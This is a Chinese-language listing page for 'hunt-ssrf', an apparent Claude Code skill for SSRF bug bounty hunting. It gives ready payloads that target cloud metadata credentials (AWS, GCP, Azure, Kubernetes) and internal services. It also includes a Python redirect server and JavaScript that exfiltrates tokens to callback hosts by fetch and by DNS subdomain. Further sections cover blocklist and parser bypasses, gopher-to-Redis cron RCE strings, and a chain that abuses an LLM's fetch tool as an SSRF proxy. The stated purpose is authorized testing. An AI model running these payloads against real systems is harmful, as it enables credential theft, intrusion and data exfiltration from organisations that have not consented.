mcpField
H
hunt-ssrf

hunt-ssrf

github.com/elementalsouls安全5.3k307 次安装今天更新
代码仓库

关于 hunt-ssrf

面向安全研究人员的 SSRF 测试技能,提供从输入点排查到影响验证的流程。强调使用带外回调确认请求,并逐个参数归因,避免把错误回显误判为 SSRF。

主要功能

  1. 01带外回调确认 SSRF
  2. 02逐个参数定位请求来源
  3. 03区分盲 SSRF 与完整读取
  4. 04检查云元数据和内网目标
  5. 05识别重定向与浏览器场景

适用场景

  1. 01审查 URL 预览和导入功能
  2. 02验证对云元数据服务的访问
  3. 03定位触发出站请求的具体参数

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-ssrf

安装后在 Claude Code 中输入/hunt-ssrf确认已加载。

详细介绍

高价值目标

当目标运行在云基础设施(AWS、GCP、Azure)上,元数据服务会暴露凭据;或者服务器位于复杂的内部网络中(Kubernetes 集群、微服务网格、内部 API)时,SSRF 的价值最高。优先目标:

  • 托管在云端的 SaaS 产品(GCP 元数据地址 169.254.169.254 或 metadata.google.internal、AWS IMDSv1)
  • Kubernetes/编排平台——聚合 API 服务器、metrics-server、kubelet 端点会暴露特权集群操作
  • 内部开发者工具——CI/CD、工作流编排(Flyte、Argo)、未对外开放的管理面板
  • 链接预览/URL 获取功能——类似 Reddit 的预览 API、类似 Slack 的链接展开功能、媒体处理器
  • 数据集/文件导入流水线——任何代表用户获取远程 URL 的功能
  • 企业级可自托管软件(GitHub Enterprise、GitLab)——SSRF 经常通过内部服务进一步利用,最终实现 RCE

SSRF 到达以下目标时,赏金最高:云凭据 → 账户接管;内部管理 API → 数据外泄;或通过利用链实现 RCE。


必须通过带外验证(先读)

声称存在盲 SSRF,必须提供带外(OOB)确认。始终如此,无一例外。

OOB 是指:Burp Collaborator 域名、interactsh-client 监听器、canarytoken,或任何由你控制、能确认服务器确实代表你发起出站网络连接的 DNS+HTTP 接收器。

以下情况不算 SSRF 确认
  • 服务器在错误消息中回显你的 URL。例如:"The Web application at http://evil.example.com/x could not be found"——这只是服务器将你的输入写入错误字符串,并非发起了出站 HTTP 请求。该错误来自字符串格式化,而非网络请求失败。
  • 服务器对外部 URL 和 localhost 返回不同的状态码。不同的错误响应可能来自 URL 协议验证器,而非实际获取 URL。
  • 发送 URL 后响应延迟。延迟可能是解析器内部的 DNS 查询导致的,并不代表 HTTP 获取已完成。
以下情况才算 SSRF 确认
  • OOB 监听器中出现对你唯一的 Collaborator 子域名的 DNS 查询。
  • 收到对你 Collaborator HTTP 端点的 HTTP 请求,其中包含服务器的源 IP 和 User-Agent。
  • 在 JavaScript 执行上下文(PDF 渲染器、无头浏览器)中的 SSRF,服务器向你的回调 URL 发起了 fetch 请求。
默认工作流程
  1. 先部署 Collaborator 载荷。 子标签(dlsrcurl.<collab>、 import.<collab>)只有在你的监听器确实会向你报告被查询的 子域名时才有效——依赖它们之前请先验证。 Burp 的 get_collaborator_interactions 会按载荷 ID 而非子域名对结果进行归类, 因此,使用同一载荷生成的多个子标签在输出中无法区分。遇到这种情况时,为每个候选 参数生成一个新载荷,并且每个载荷只发送一个请求。
  2. 向目标端点发送请求。
  3. 等待 30–120 秒,然后轮询 OOB 监听器。
  4. 只有确认收到回调后,才能声称存在 SSRF。
  5. 如果所有带子标签的接收点都没有回调:即使错误消息回显了 URL,也必须撤回 SSRF 声称。

一次授权测试的教训: SharePoint 的 /_layouts/15/download.aspx?SourceUrl= 返回 500,并显示标题 "The Web application at <attacker-URL> could not be found"。初步扫描将其标记为 SSRF(服务器显然处理了该 URL)。在 12 个以上接受 URL 的参数中发送了 38 个带 Collaborator 标签的载荷,结果没有任何 DNS 或 HTTP 交互。所谓的“回显”是客户端对错误字符串进行格式化;服务器从未发起出站 HTTP 请求。该路径实际上是 SharePoint 内部的 SPFile/SPWebApplication 解析器,而非通用 URL 获取器。若将此问题报告为 SSRF,在分流审核时会被判定为 N/A。

在报告前将回调归因到一个参数

回调可以证明服务器发出了请求。它不能告诉你是哪个参数导致的,而修复方案完全取决于这一点。

BAD   — four candidate fields, one payload, fired in one batch
        -> callbacks arrive, attribution impossible, retest required

GOOD  — fresh payload per field, one request each, poll between
        url      -> callbacks    <- this is the sink
        apiUrl   -> none
        endpoint -> none
        target   -> none

运行负向对照。 不会产生回调的参数也是证据,应当写入报告——这样客户端才能修复正确的字段,而不是将错误的字段加入允许列表。

一次授权测试的经验。 一个服务器端请求转发端点同时接受 url 和 apiUrl。应用自身存储的配置使用了 apiUrl,因此它显然最可疑——但 apiUrl 没有作用,真正的有效接收点是 url。 同时触发两者会产生回调,却无法归因;只有逐个隔离载荷,才能找出真正的参数。如果报告中写的是 apiUrl,客户端就会去修复一个毫无作用的字段。

评估严重性前,先确认是盲 SSRF 还是可完整读取

回调确认请求已离开服务器后,检查上游响应正文是否会返回给你。 这是两种不同的问题:

  • 盲 SSRF(只有回调,没有正文):单独出现时不应提交。必须能够访问内部服务,或有数据返回,才值得报告。
  • 可完整读取(响应中包含上游正文):严重性要高得多——可以直接读取任意内部端点。
# one request settles it: fetch something with a known, recognisable body
-d '{"url":"https://example.com/"}'
# {"statusCode":200,"data":"<!doctype html>...<title>Example Domain</title>..."}
#                          ^ body returned = full-read, not blind

还要对已知内部目标和已知外部目标进行正文差异比较。链路本地地址返回了不同的状态码(例如,169.254.169.254 返回 401,而其他所有目标都返回 200),说明是元数据服务在响应——这证明请求能够到达无法通过互联网路由的地址,而仅凭状态码无法证明这一点。


攻击面信号

值得查找的 URL 模式
/api/*/preview
/api/*/fetch
/api/*/import
/api/*/webhook
/api/*/proxy
/api/*/render
/api/*/link
/api/*/screenshot
/api/*/export
/api/*/validate
?url=
?uri=
?endpoint=
?redirect=
?src=
?source=
?feed=
?host=
?target=
?dest=
?file=
?path=
?callback=
?image=
?load=
?fetch=
JS 模式(客户端代码中)
// Look for these in JS bundles
fetch(userInput)
axios.get(params.url)
XMLHttpRequest + variable URL
url: req.body.url
src: params.source
href: query.endpoint
响应头信号
X-Forwarded-For headers echoed back
Server: internal-service
Via: 1.1 internal-proxy
X-Cache headers revealing internal hostnames
技术栈信号
  • Kubernetes — 任何面向公网的聚合 API、指标端点
  • GCP — 任何运行在 Compute Engine/GKE 上、会抓取 URL 的服务
  • 使用 URL 抓取库(requests、node-fetch、axios)的 Node.js/Python
  • 用于截图/PDF 的无头浏览器(Puppeteer、PhantomJS)——价值极高
  • XML/DSPL/CSV 导入功能——类似 XXE 的 SSRF 攻击向量
  • OAuth/Webhook 注册端点

分步狩猎方法

  1. 梳理目标中的所有 URL 输入参数:检查 JS 文件中的 fetch 调用、查看所有 API 文档,并查找文件导入、链接预览、Webhook、图片代理和重定向功能。

  2. 搭建带外检测服务器,使用 Burp Collaborator、interactsh 或 https://canarytokens.org——你需要一个每次测试都唯一的 DNS/HTTP 回调域名。

  3. 先将回调 URL 作为参数值发送(优先检查盲 SSRF):

    url=https://YOUR.interactsh.com/test
    

    确认服务器发起了出站连接。这可以证明漏洞已触发,然后再尝试访问内部目标。

  4. 测试内部云元数据端点:

    • GCP:http://metadata.google.internal/computeMetadata/v1/
    • AWS:http://169.254.169.254/latest/meta-data/
    • Azure:http://169.254.169.254/metadata/instance
  5. 测试 localhost 和常见内部端口:

    http://localhost/
    http://127.0.0.1:8080/
    http://127.0.0.1:6443/  (Kubernetes API)
    http://127.0.0.1:2379/  (etcd)
    http://127.0.0.1:9090/  (Prometheus)
    http://127.0.0.1:9200/  (Elasticsearch)
    
  6. 检查基于重定向的 SSRF——如果端点会校验初始 URL,但仍会跟随 30x 重定向,就搭建一个指向内部地址的重定向服务器。Kubernetes 报告(报告 3)就是由被劫持的 API 服务器返回 30x 响应触发的。

  7. 测试 JavaScript 执行环境(无头浏览器、PDF 渲染器):

    • 注入 <script> 标签,调用 XMLHttpRequest 或 fetch() 请求内部服务
    • 通过 DNS 外带数据:将响应数据编码到回调域名的子域名中
  8. 利用响应时间差异和错误消息变化枚举内部网络:

    • 通过响应时间扫描端口(connection refused 与超时的区别)
    • 检查错误消息是否泄露主机名/IP
  9. 串联发现——如果你能通过 SSRF 访问内部服务,就查找:

    • 无需身份验证的管理端点
    • Redis、memcached(协议混淆)
    • 内部 OAuth 令牌端点
    • SSRF → CSRF → RCE(GitHub Enterprise 模式)
  10. 记录完整攻击链,在报告前截取每一步的屏幕截图。


载荷与检测模式

基本带外检测
# Using interactsh-client
interactsh-client -v

# Test parameter
curl -s "https://target.com/api/preview?url=https://YOUR_ID.oast.pro"

# With common headers that might unlock SSRF
curl -s "https://target.com/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url":"https://YOUR_ID.oast.pro"}'
云元数据载荷
# GCP - requires Metadata-Flavor header (test if server adds it automatically)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://169.254.169.254/computeMetadata/v1/project/project-id
http://metadata/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# AWS IMDSv1 (no auth required)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS ECS task credentials (retrieve from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI)
http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}

# Azure - instance metadata and managed identity token
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
# Requires Metadata: true header for Azure requests

# Kubernetes service account credentials (file:// SSRF)
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
Localhost/内部端口载荷
# Kubernetes internals
http://127.0.0.1:6443/api/v1/namespaces
http://10.0.0.1:6443/api/v1/secrets
http://127.0.0.1:10250/pods          # kubelet
http://127.0.0.1:2379/v2/keys        # etcd

# Common internal services
http://127.0.0.1:6379/               # Redis (check for inline commands)
http://127.0.0.1:9200/_cat/indices   # Elasticsearch
http://127.0.0.1:5601/               # Kibana
http://127.0.0.1:8500/v1/catalog/services  # Consul
基于重定向的 SSRF(直接访问被拦截时)
# Simple Python redirect server
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Redirect).serve_forever()
基于 JavaScript 的 SSRF(无头浏览器环境)
// Exfil via fetch
fetch('http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token', {
  headers: {'Metadata-Flavor': 'Google'}
}).then(r=>r.text()).then(d=>{
  fetch('https://YOUR.callback.com/?d='+btoa(d))
})

// DNS exfil for blind contexts
var x = new XMLHttpRequest();
x.open('GET','http://169.254.169.254/latest/meta-data/');
x.send();
x.onload = function(){
  var img = new Image();
  img.src = 'https://'+btoa(x.responseText.substring(0,50))+'.YOUR.callback.com';
}
源代码审查的 Grep 模式
# Find URL fetch operations
grep -rE "(fetch|curl|urllib|requests\.get|http\.get|axios\.get)\s*\(" --include="*.py" --include="*.js" --include="*.go"

# Find URL parameters being passed to HTTP clients
grep -rE "(url|uri|endpoint|redirect|src|source)\s*=\s*req\.(query|body|params)" --include="*.js"

# Find redirect following
grep -rE "(follow_redirects|allow_redirects|followRedirects)\s*=\s*[Tt]rue"
ffuf 参数发现
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u "https://target.com/api/endpoint?FUZZ=https://YOUR.callback.com" \
  -fs 0 -mc all

常见根本原因

  1. “用户说这是安全的”——开发者会信任用户提供的 URL,以此获取远程资源(链接预览、缩略图、Webhook),却不验证目标地址。该功能本身合理;缺少验证才是漏洞。

  2. 通过重定向绕过允许列表——开发者会根据允许列表校验初始 URL,但将 HTTP 客户端配置为自动跟随重定向。攻击者在允许列表中的服务器会将请求重定向到内部地址。

  3. 对聚合/代理 API 的信任——类似 Kubernetes 的架构中,API 聚合层会盲目代理已注册扩展服务器返回的 30x 响应。攻陷单个扩展服务器,就能通过 SSRF 访问核心 API。

  4. 未进行沙箱隔离的服务端渲染——无头浏览器功能(PDF 生成、链接预览截图)会在具有网络访问权限的环境中执行攻击者控制的 JavaScript,并可访问元数据服务。

  5. XML/DSPL/文件解析器获取外部实体——用于解析结构化文件(XML、DSPL、带远程架构的 CSV)的导入功能会获取攻击者控制的 URL,往往完全不做 URL 校验。

  6. 响应差异导致内部主机名泄露——对于内部与外部主机,服务会返回不同的错误消息、响应时间或响应大小;即使不返回内容,也能借此进行盲枚举。

  7. 仍启用 IMDSv1——尚未迁移到 IMDSv2(AWS)或尚未强制要求 Metadata-Flavor 标头(GCP)的云部署,允许任何 SSRF 未经身份验证访问凭证。


绕过技术

屏蔽列表绕过(当 localhost、127.0.0.1、169.254.x.x 被屏蔽时)
# IPv6 equivalents
http://[::1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:169.254.169.254]/

# Decimal/octal/hex encoding of IP
http://2130706433/          (127.0.0.1 decimal)
http://0x7f000001/          (127.0.0.1 hex)
http://0177.0.0.1/          (octal)
http://127.1/               (short form)
http://0/                   (resolves to 0.0.0.0)

# DNS rebinding - register a domain that resolves to internal IP after first check
# Use https://lock.cmpxchg8b.com/rebinder.html

# Subdomain pointing to internal IP
http://localtest.me/         (resolves to 127.0.0.1)
http://127.0.0.1.nip.io/
http://customer.attacker.com/ (A record → 192.168.1.1)

# URL parser confusion
http://[email protected]/
http://127.0.0.1#evil.com
http://127.0.0.1%[email protected]  (URL encoding)
http://evil.com\.127.0.0.1/   (backslash)

# Protocol confusion
file:///etc/passwd
dict://127.0.0.1:6379/
gopher://127.0.0.1:6379/_FLUSHALL  (Redis via gopher)
sftp://attacker.com:11111/
ldap://127.0.0.1/

# Redirect chain bypass
https://allowlisted-domain.com → HTTP 301 → http://169.254.169.254/

# Case variation / URL encoding
http://Localhost/
http://127.0.0.1%[email protected]/
应用层输入编码绕过(过滤器看到的内容与抓取器看到的内容不同)

当端点接收的目标 URL 被包装或编码时——例如路径中的 base64 字符串、双重编码的参数或嵌套在 JSON 中的值——前端 WAF/允许列表会检查原始输入,而后端会在抓取之前解码它。对内部目标进行编码,避免过滤器看到明文形式的 169.254 / localhost:

# target URL base64'd into a path segment the app decodes, then fetches
GET /proxy/aHR0cDovLzE2OS4yNTQuMTY5LjI1NC8=/x.js   # = http://169.254.169.254/  (disclosed: reports/1189367)
# double-URL-encode the host so one decode pass survives the filter
url=http%253A%252F%252F169.254.169.254%252F

务必测试参数是在抓取前解码一次、两次,还是经过 base64 解码——解码次数就是漏洞所在。

路径规范化/分号绕过(前端过滤器与源站路径不一致)

当前端会屏蔽指向内部主机的 url= 时,可以利用源站重新规范化边缘节点保留的路径段来绕过——注入 ;/、/../ 或矩阵参数段,让边缘节点将其路由为无害请求,而源站解析后却会执行 SSRF 抓取:

GET /;/;/resource/md/get/url?url=http://oast.example/   # edge ignores, origin fetches (disclosed: reports/2035332)

通过这种路径混淆实现的完整读取型 SSRF,可以访问直接被 url= 参数拦截的云凭证端点。

架构/协议绕过
# When only http/https allowed but implementation is loose
http://169.254.169.254:[email protected]/
//169.254.169.254/
TOCTOU(检查时与使用时)
  • 验证 URL → 等待 → 重定向到内部地址(与 DNS 重绑定形成竞态条件)
  • 注册一个 TTL 为 0 的域名,在验证与抓取调用之间轮换 DNS
未返回响应时(盲 SSRF)
  • 使用仅 DNS 回调(将数据编码在子域名标签中)
  • 利用时序差异进行端口扫描
  • 使用不同的 HTTP 方法(PUT/DELETE)触发内部服务的不同操作
  • 与其他可泄露响应数据的漏洞串联(例如错误消息、日志)

Gate 0 验证

撰写报告前,确认以下三点:

  1. 攻击者现在能做什么?

    • 能否获取证明内部网络访问的响应?(展示元数据令牌、内部 API 响应或已确认的 DNS 回调)
    • 如果是盲 SSRF:能否证明端口差异,或确认与某个特定内部地址关联的带外回调?
    • 仅仅“服务器发起了请求”还不够——要展示请求发往哪里,以及返回了什么。
  2. 受害者会失去什么?

    • 云凭证(IAM 令牌)→ 整个云账户被攻陷?
    • 内部服务数据(用户个人身份信息、机密、API 密钥)?
    • 能否通过内部管理服务进一步利用漏洞实现 RCE?
    • 如果答案只有“服务器会抓取我的 URL”,那么严重性较低——请量化实际可触达的影响范围。
  3. 能否从头开始在 10 分钟内复现?

    • 易受攻击的端点是否仍然可用,相关参数是否仍然存在?
    • 你的回调服务器能否可靠地显示访问记录(而非时有时无)?
    • 第二个人能否在没有事先了解的情况下,按照你的步骤得到相同结果?
    • 如果复现依赖特定时机、令牌或运气,请在提交前解决不稳定问题。

真实影响示例

场景 A:通过链接预览窃取云凭证(Snapchat/GCP 模式)

某个面向公众的“链接预览”API 接受 url 参数,并在服务器端抓取目标以生成缩略图内容。该功能运行在启用了 IMDSv1、且服务器端未强制要求 Metadata-Flavor 标头的 GCP Compute Engine 上。攻击者提供 url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token 后,便收到该实例服务账号的有效 OAuth2 访问令牌。该令牌可访问内部 GCP 项目资源,包括存有用户数据的存储桶。攻击者在无头渲染环境中执行 JavaScript,通过 DNS 编码的子域名窃取令牌,从而绕过响应正文限制。

场景 B:通过被劫持的聚合服务器攻陷 Kubernetes API(Kubernetes 模式)

攻击者能够注册 Kubernetes API 扩展服务器(相当于 metrics-server),并向聚合层返回 302 Location: http://127.0.0.1:6443/api/v1/secrets 响应。由于聚合代理会自动跟随重定向,且不会针对内部网络阻止列表重新验证目标地址,该重定向导致聚合层自身(以提升的集群凭据运行)获取内部 Kubernetes API 密钥,并在响应中返回这些密钥。这实际上使只有有限 API 注册权限的攻击者能够升级为拥有读取整个集群密钥的权限——通过 SSRF 利用受信任的基础设施组件串联实现的严重权限提升。


已披露报告引用(补充 +6 — 2018-2024)

以下真实且经核实的漏洞赏金/协调披露案例扩展了此技能。涵盖了三家云服务提供商的云元数据 SSRF、DNS 重绑定、gopher 到 Redis RCE、链接预览 SSRF,以及无头浏览器/PDF 生成器攻击链。

  1. HackerOne — 分析报告中的 SSRF(PDF 生成器 → AWS 元数据)(H1 #2262382 · Writeup)

    • 子类:无头浏览器 SSRF(PDF 生成器)→ AWS 元数据 SSRF(IMDSv1)
    • 载荷:将 <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> 注入模板元素,该元素在服务器端渲染;后端 Ruby 循环将不受信任的模板 HTML 渲染为 PDF,并在生成的 PDF/错误消息中反映 IMDS 响应
    • 根本原因:PDF 渲染管线中反映了未经清理的用户控制模板片段;未强制使用 IMDSv2
    • 年份:2023 — $25,000(CVSS 10.0 严重)
  2. Shopify Exchange — 截图服务中的 SSRF → GCP 元数据 → 容器 root 权限(H1 #341876)

    • 子类:GCP 元数据 SSRF → SSRF 转 RCE 攻击链
    • 载荷:在 partners.shopify.com 上创建商店,编辑 password.liquid 模板以嵌入对 http://metadata.google.internal/computeMetadata/v1/ 的请求,并附上 Metadata-Flavor: Google,然后触发 Exchange 截图服务在服务器端渲染该模板
    • 根本原因:截图服务在获取用户控制的模板时,没有设置元数据主机阻止列表,也没有使用元数据隐藏代理
    • 年份:2018 — $25,000(经典的无头浏览器 → 元数据攻击链)
  3. Concrete CMS — 通过 DNS 重绑定绕过 SSRF 缓解措施 → AWS IAM 密钥(H1 #1369312)

    • 子类:DNS 重绑定 SSRF → AWS 元数据 SSRF(IMDSv1)
    • 载荷:通过 URL 上传文件功能;攻击者的 DNS 服务器在 1.2.3.4(公网)和 169.254.169.254 之间交替返回 A 记录;需要发起 2-3 次请求,才能在验证和获取之间的竞速中胜出;最终请求获取了 IAM 角色凭据
    • 根本原因:通过解析一次来验证主机名;下载路径会重新解析 DNS,且未固定已验证的 IP
    • 年份:2021 — 已在 8.5.7 / 9.0.1 中修复
  4. Yahoo Mail — Blind SSRF → Gopher → Redis RCE(Writeup)

    • 子类:滥用 gopher 协议 → Redis SSRF → SSRF 转 RCE 攻击链
    • 载荷:Yahoo Mail 后端中的 Blind SSRF 可通过 gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE 触达——通过 Redis 写入 cron 任务以执行命令
    • 根本原因:未将 gopher 方案列入阻止列表;内部 Redis 在默认端口上未启用身份验证;SSRF 目标接受了从攻击者主机重定向至 gopher:// 的 302 响应
    • 年份:2020 — $15,000
  5. Reddit Matrix — preview_url API 中的盲 SSRF (H1 #1960765)

    • 子类型:链接预览 SSRF(盲 SSRF,可通过时序/响应码扫描内部端口)
    • 载荷:GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — 更换内部 IP/端口;修复前,响应差异会泄露服务名称和 IP
    • 根本原因:链接预览获取器未拒绝 RFC1918/链路本地目标;仅按协议方案进行白名单检查
    • 年份:2023 — $6,000
  6. Azure DevOps — Service Hooks 中的 SSRF + endpointproxy 中的 DNS 重绑定绕过 (Binary Security writeup)

    • 子类型:Webhook URL 字段 SSRF + DNS 重绑定 SSRF → Azure IMDS/托管身份
    • 载荷:将 Service Hook Webhook URL 或 endpointproxy URL 参数设置为攻击者控制的重绑定主机;第二次解析返回 169.254.169.254;再利用 CRLF 注入设置 Azure IMDS 所需的 Metadata: true 标头
    • 根本原因:先验证再获取,且分开进行 DNS 查询;URL 路径中的 CRLF 会注入 Azure IMDS 所需的标头
    • 年份:2023-2024 — 3 份报告共 $15,000

相关技能与攻击链

  • cloud-iam-deep — SSRF 是访问云元数据服务的典型入口。攻击链原语:SSRF → 窃取 IMDSv1 令牌 → cloud-iam-deep 权限提升,获取跨账户角色上的 iam:CreateUser/sts:AssumeRole 权限。
  • hunt-llm-ai — 配备 fetch_url 工具的大模型会成为 SSRF 代理,从而绕过网络出口控制。攻击链原语:大模型工具调用(fetch_url)+ SSRF → 攻击者 URL 窃取 LLM 容器中的聊天记录和 IMDS 令牌。
  • hunt-rce — 内部 Redis/Memcached 默认不进行身份验证,并可通过 gopher:// 访问。攻击链原语:SSRF + Gopher → 内部 Redis CONFIG SET dir + 通过写入 cron/SSH authorized_keys 实现 RCE。
  • hunt-cloud-misconfig — 通过 SSRF 出口可访问仅限内部访问的存储桶/API。攻击链原语:SSRF + DNS 重绑定 → 绕过 SSRF 保护的端点 → 读取内部 /admin 或私有 S3 存储桶。
  • security-arsenal — 测试过滤器前,加载 SSRF IP 绕过表(11 种技术:十进制 IP、IPv6 映射、八进制、末尾句点、DNS 重绑定、重定向链等)。
  • triage-validation — 应用 OOB-Or-It-Didn't-Happen 门槛:提交报告前,每个盲 SSRF 声明都必须通过带有唯一标记的 Burp Collaborator 命中验证。

评论

支持 Markdown